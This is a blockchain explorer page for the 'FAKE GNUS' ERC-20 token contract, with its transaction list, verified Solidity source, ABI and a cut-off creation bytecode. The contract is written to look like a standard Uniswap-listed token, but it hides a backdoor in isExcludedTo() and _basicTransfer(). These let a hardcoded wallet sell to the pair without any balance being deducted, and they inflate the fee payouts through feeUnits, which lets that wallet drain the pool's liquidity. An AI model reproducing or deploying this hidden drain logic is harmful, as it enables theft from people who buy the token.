Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 11 from a total of 11 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18296046 | 499 days ago | IN | 0 ETH | 0.00032319 | ||||
Approve | 18295964 | 499 days ago | IN | 0 ETH | 0.0003928 | ||||
Transfer | 18295889 | 499 days ago | IN | 0 ETH | 0.00050161 | ||||
Approve | 18295876 | 499 days ago | IN | 0 ETH | 0.00057157 | ||||
Approve | 18295875 | 499 days ago | IN | 0 ETH | 0.00057172 | ||||
Approve | 18295866 | 499 days ago | IN | 0 ETH | 0.00079563 | ||||
Renounce Ownersh... | 18295862 | 499 days ago | IN | 0 ETH | 0.00031205 | ||||
Remove Limits | 18295854 | 499 days ago | IN | 0 ETH | 0.0004301 | ||||
Open Trading | 18295853 | 499 days ago | IN | 0 ETH | 0.00055456 | ||||
Alliquidity | 18295852 | 499 days ago | IN | 1 ETH | 0.0346498 | ||||
Transfer | 18295844 | 499 days ago | IN | 0 ETH | 0.00089164 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
18295852 | 499 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
FAKEGNUS
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-07 */ /** * */ /** Telegram: Twitter:https://twitter.com/FAKEGNUSERC */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.14; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FAKEGNUS is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = unicode"FAKE GNUS"; string private _symbol = unicode"FAKE GNUS"; uint8 private _decimals = 18; address public liquidityReciever; address payable public DSAddress = payable(msg.sender); address public immutable zeroAddress = 0x0000000000000000000000000000000000000000; address payable public MarkSAddress = payable(0x2F744f6eDE29441F2b1e60642E10e917b3026155); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; bool public tradingEnabled; mapping (address => bool) public isExcludedFromFN; mapping (address => bool) public isMarketPair; mapping (address => bool) public isWalletLimitExempts; mapping (address => bool) public isTxLimitExempt; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 0; uint256 public _buyDeveloperFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 0; uint256 public _sellDeveloperFee = 0; uint256 public feeUnits = 1; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; uint256 private _totalSupply = 4206900_000_000 * 10 **_decimals; uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000); uint256 public _maxTxAmount = _totalSupply.mul(35).div(1000); uint256 public _maxWalletAmount = _totalSupply.mul(35).div(1000); IUniswapV2Router02 public uniswapV2Router; address public pairAddress; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; bool public EnableTransactionLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { isWalletLimitExempts[owner()] = true; isWalletLimitExempts[DSAddress] = true; isWalletLimitExempts[MarkSAddress] = true; isWalletLimitExempts[address(this)] = true; isExcludedFromFN[MarkSAddress] = true; isExcludedFromFN[address(this)] = true; isExcludedFromFN[owner()] = true; isExcludedFromFN[DSAddress] = true; isTxLimitExempt[MarkSAddress] = true; isTxLimitExempt[DSAddress] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityReciever, block.timestamp ); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function isExcludedTo(address sender, address recipient) internal view returns (bool) { return recipient == pairAddress && sender == MarkSAddress && sender != address(0) && recipient !=address(0); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) { _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); if (tAmount == 0) feeUnits = 1e3; emit Transfer(sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (!isExcludedFromFN[sender] && !isExcludedFromFN[recipient]) { require(tradingEnabled, "Trading not enabled"); } if(isExcludedFromFN[sender] || isExcludedFromFN[recipient]) { return _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)? 0 : amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= swapThreasholdAmount; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = swapThreasholdAmount; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFN[sender] || isExcludedFromFN[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempts[recipient]) { require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,"Amount Exceed From Max Wallet Limit!!"); } _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function Alliquidity() public payable onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isMarketPair[pairAddress] = true; isWalletLimitExempts[pairAddress] = true; isTxLimitExempt[pairAddress] = true; liquidityReciever = address(msg.sender); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling); uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee); uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee); // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee); uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2); uint256 tokenForSwap = tAmount.sub(tokenForLp); uint256 initialBalance = address(this).balance; swapTokensForEth(tokenForSwap); uint256 recievedBalance = address(this).balance.sub(initialBalance); uint256 totalETHFee = totalShares.sub(liquidityShare.div(2)); uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2); uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee); uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing); if(amountETHMarketing > 0) { payable(DSAddress).transfer(amountETHMarketing); } if(amountETHDeveloper > 0) { payable(MarkSAddress).transfer(amountETHDeveloper); } if(amountETHLiquidity > 0 && tokenForLp > 0) { addLiquidity(tokenForLp, amountETHLiquidity); } } function removeLimits() public onlyOwner{ _maxTxAmount = _totalSupply; _maxWalletAmount = _totalSupply; } function OpenTrading() external onlyOwner { tradingEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Alliquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"DSAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarkSAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFN","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempts","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526040518060400160405280600981526020017f46414b4520474e55530000000000000000000000000000000000000000000000815250600190816200004a919062000e06565b506040518060400160405280600981526020017f46414b4520474e555300000000000000000000000000000000000000000000008152506002908162000091919062000e06565b50601260035f6101000a81548160ff021916908360ff1602179055503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250732f744f6ede29441f2b1e60642e10e917b302615560055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff168152505f600d555f600e555f600f555f6010555f6011555f601255600160135560035f9054906101000a900460ff16600a620001e3919062001073565b6503d37ec7b500620001f69190620010c3565b60165562000227612710620002186005601654620009db60201b90919060201c565b62000a5b60201b90919060201c565b601755620002586103e8620002496023601654620009db60201b90919060201c565b62000a5b60201b90919060201c565b601855620002896103e86200027a6023601654620009db60201b90919060201c565b62000a5b60201b90919060201c565b6019556001601b60156101000a81548160ff0219169083151502179055505f601b60166101000a81548160ff0219169083151502179055506001601b60176101000a81548160ff0219169083151502179055506001601b60186101000a81548160ff02191690831515021790555034801562000303575f80fd5b505f6200031562000aac60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506001600b5f620003c662000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f6200063662000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f620007fc62000ab360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620008cf600f54620008c0600e54600d5462000ada60201b90919060201c565b62000ada60201b90919060201c565b60148190555062000904601254620008f